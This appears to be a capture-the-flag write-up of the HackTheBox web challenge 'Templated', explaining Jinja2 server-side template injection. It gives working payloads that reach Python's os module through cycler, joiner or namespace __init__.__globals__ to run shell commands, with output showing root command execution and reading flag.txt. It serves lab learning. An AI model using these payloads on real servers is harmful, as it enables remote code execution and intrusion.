Templated: HackTheBox Web challenge My Perspective

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In Jinja2, templates can inherit from other templates using the {% extends %} tag. When a template extends another template, it inherits the context of the parent template. The self._TemplateReference__context attribute is used to store this inherited context in the child template.

<ip>:<port>/{{self._TemplateReference__context }}

The page ‘<Context {‘range’: <class ‘range’>, ‘dict’: <class ‘dict’>, ‘lipsum’: <function generate_lorem_ipsum at 0x7f5a4afcfdc0>, ‘cycler’: <class ‘jinja2.utils.Cycler’>, ‘joiner’: <class ‘jinja2.utils.Joiner’>, ‘namespace’: <class ‘jinja2.utils.Namespace’>,

→ {{self._TemplateReference__context }} this gives access to the following classes

→ jinja2.utils.Cycler , jinja2.utils.Joiner , jinja2.utils.Namespace

self._TemplateReference__context: This is a reference to the private __context attribute of the TemplateReference class. It provides access to the context dictionary for the current template.

Jinja templates can be rendered with a context, which is a Python dictionary containing variables that are accessible within the template. The self._TemplateReference__context attribute stores this dictionary for the current template.

We need to access the os module to get an RCE. Jinja2 itself does not provide direct access to the os module or allow for RCE attacks, while it is possible to use Python modules like os in Jinja2 templates to access the underlying operating system. So we first need to find the location of the os module

We can use .__init__.__globals__ to access the global variables of the file the above classes are defined

→ {{self._TemplateReference__context.cycler.__init__.__globals__}} use this to get out of the class and access the global variables of the utils.py file

Payloads:

{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read()}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen(‘id’).read()}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os.popen(‘id’).read()}}

>>> The page ‘uid=0(root) gid=0(root) groups=0(root) ‘ could not be found

• .os: This is the os module in Python, which provides a way to interact with the operating system.
• .popen('id').read(): This is a method call on the os module that runs the id command in the shell and reads its output. The popen() method opens a pipe to the shell, and the read() method reads the output from that pipe.

We are already inside the template context, as we are inside the template file which is rendered by the template engine. So we can remove the “self.__TemplateReference__context ” from the payload

Final payload:

This is the payload to access the os module in a Server Side Template Injection in jinja2.

{{namespace.__init__.__globals__.os.popen(‘ls’).read()}}

{{namespace.__init__.__globals__.os.popen(‘cat flag.txt’).read()}}

We can also use any other class mentioned above.